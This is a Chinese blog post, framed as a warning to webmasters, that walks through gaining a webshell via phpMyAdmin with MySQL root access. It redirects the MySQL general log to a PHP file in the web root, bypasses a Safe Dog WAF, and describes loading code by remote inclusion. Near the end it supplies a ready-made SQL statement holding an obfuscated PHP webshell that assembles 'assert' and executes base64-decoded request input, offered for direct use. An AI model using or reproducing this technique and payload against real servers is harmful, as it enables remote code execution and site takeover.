• 凉风有兴,秋月无边, 亏我思娇的情绪好比度日如年。
  • 虽然我不是玉树临风,潇洒倜傥, 可是我有我广阔的胸襟,加强健的臂腕!

PhpMyAdmin新姿势之GetShell 站长们要留神了

漏洞预警 villain 3个月前 (08-27) 120次浏览 已收录 0个评论

旁白:在一个有WAF、并且mysql中的Into outfile禁用的情况下,我该如何getshell?
首先环境如下:

  • OS:Windows 2003
  • WAF:Safe Dog 4.0正式版
  • phpmyadmin:4.7(许多都可以)
  • Mysql:5.5+
  • PHP:5.3
  • Apache:2.x

目前

into outfile

已经被禁用,并且WAF也会在写入文件的时候拦截。
那么我们尝试通过一个脑洞大开的方法去getshell。

(必须是mysql root权限)

登录phpmyadmin后,查看全局变量:
找到

general log file

PhpMyAdmin新姿势之GetShell 站长们要留神了

这里是存储了每一个sql语句执行的日志(包含SQL语句本身)

但是

general log

变量必须是ON状态,代表启用。

此时我们把

general log

开启为

ON

,然后再去更改

general log file

的地址为我们的

webshell

绝对路径。

在每一次更改

general log file

的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

PhpMyAdmin新姿势之GetShell 站长们要留神了

此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
121 Quit

接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php

PhpMyAdmin新姿势之GetShell 站长们要留神了

由于有WAF,我们采用远程包含的形式来运行webshell
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

PhpMyAdmin新姿势之GetShell 站长们要留神了

PhpMyAdmin新姿势之GetShell 站长们要留神了

关于菜刀免杀,请看上一篇文章。
下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

PhpMyAdmin新姿势之GetShell 站长们要留神了

可见这边并没有拦截:
PhpMyAdmin新姿势之GetShell 站长们要留神了

文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!


Villain博客 , 版权所有丨如有问题请联系客服QQ:1004619丨
转载请注明PhpMyAdmin新姿势之GetShell 站长们要留神了
喜欢 (0)
[gqakcom@126.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址